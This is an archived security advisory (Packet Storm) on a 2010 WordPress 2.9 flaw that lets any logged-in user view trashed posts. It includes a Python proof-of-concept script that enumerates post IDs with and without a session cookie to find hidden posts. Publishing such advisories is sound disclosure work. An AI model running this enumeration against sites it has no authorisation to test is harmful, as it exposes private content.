what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress 2.9 URL Access Bypass

WordPress 2.9 URL Access Bypass
Posted Feb 15, 2010
Authored by Ryan Dewhurst, Tom Mackenzie

WordPress versions 2.9 and above suffer from a failure to restrict URL access.

tags | exploit, bypass
SHA-256 | 0a534c3b3e0d40b56b483603d76ea91dea7b456f37837248555ef51db4c3a973

WordPress 2.9 URL Access Bypass

Change Mirror Download


WordPress >= 2.9 Failure to Restrict URL Access
http://www.thomasmackenzie.co.uk/


1. *Advisory Information*

Title: WordPress >= 2.9 Failure to Restrict URL Access
Date published:


2. *Vulnerability Information*

Class: Failure to Restrict URL Access
Remotely Exploitable: Yes
Locally Exploitable: Yes


3. *Software Description*

WordPress is a state-of-the-art publishing platform with a
focus on aesthetics, web standards, and usability. WordPress
is both free and priceless at the same time. [0]


4. *Vulnerability Description*

Frequently, the only protection for a URL is that links to that page
are not presented to unauthorized users. Security by obscurity is
not sufficient to protect sensitive functions and data in an application.
Access control checks must be performed before a request to a sensitive
function is granted, which ensures that the user is authorized to access
that function. [1]


5. *Vulnerable packages*

Versions >= 2.9


6. *Non-vulnerable packages*

Versions < 2.9


7. *Vulnerability Overview*

Since version 2.9 a new feature was implemented so that users
were able to retrieve posts that they may have deleted by accident.
This new feature was labeled 'trash'. Any posts that are placed within
the trash are only viewable by authenticated privileged users.


8. *Technical Description*

When WordPress implemented the new feature they failed to change the
permissions granted when the post is in the trash. This means that
an unauthenticated user cannot see the post, however an authenticated
user can no matter what privilege's they have, even 'subcriber'.

"Subscriber [User Level 0] - Somebody who can read
comments/comment/receive news letters, etc." [2]


9. *PoC*

#/usr/bin/python
#
# WordPress > 2.9 Failure to Restrict URL Access PoC
#
# This script iterates through the WP post ID's as an authenticated
and unauthenticated user.
# If the requests differ a 'Trash' post has been found.
#
# You will need an authenticated user cookie of any privilege to run
this script.
#
# Example cookie:
# wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8
#
# Will only work with WP URLs with the '/?p={int}' parameter. Would
need to handle redirects (3xx) to handle all URL types.
#
#
# Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst
(ethicalhack3r)

import httplib

# Declare vars
blogURL = "www.example.com"
userCookie = "ENTER_COOKIE_HERE"
postID = 0 #Leave at 0

conn = httplib.HTTPConnection(blogURL)
Headers = {"Cookie" : userCookie}

print
print "Target = http://" + blogURL + "/?p=" + str(postID)
print

while 1:

# Start non authenticated enumeration

request = '/?p=' + str(postID)
conn.request("GET", request, "")

try:
r1 = conn.getresponse()
except:
print "Connection error"

data1 = r1.read()

# Start authenticated enumeration

conn.request("GET", request, None, Headers)

try:
r2 = conn.getresponse()
except:
print "Connection error"

data2 = r2.read()

# Compare the HTML body reponses

if data1 != data2:
print "+ Found! http://" + blogURL + request
else:
print request

postID += 1

conn.close()


10. *Credits*

Thomas Mackenzie (tmacuk) - http://www.thomasmackenzie.co.uk/
Original finder and tester.

Ryan Dewhurst (ethicalhack3r) - http://www.ryandewhurst.co.uk/
PoC creation and analysis.

Arron Finnon (f1nux) - http://www.finux.co.co.uk/
Helped with documentation.

Matthew Hughes - http://www.matthewhughes.co.uk/
Helped with documentation.

Robin Wood (digininja) - http://www.diginija.org/
Helped identify the vulnerability type.


11. *References*

[0] http://wordpress.org/
[1] http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
[2] http://codex.wordpress.org/Roles_and_Capabilities


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    22 Files
  • 31
    May 31st
    18 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close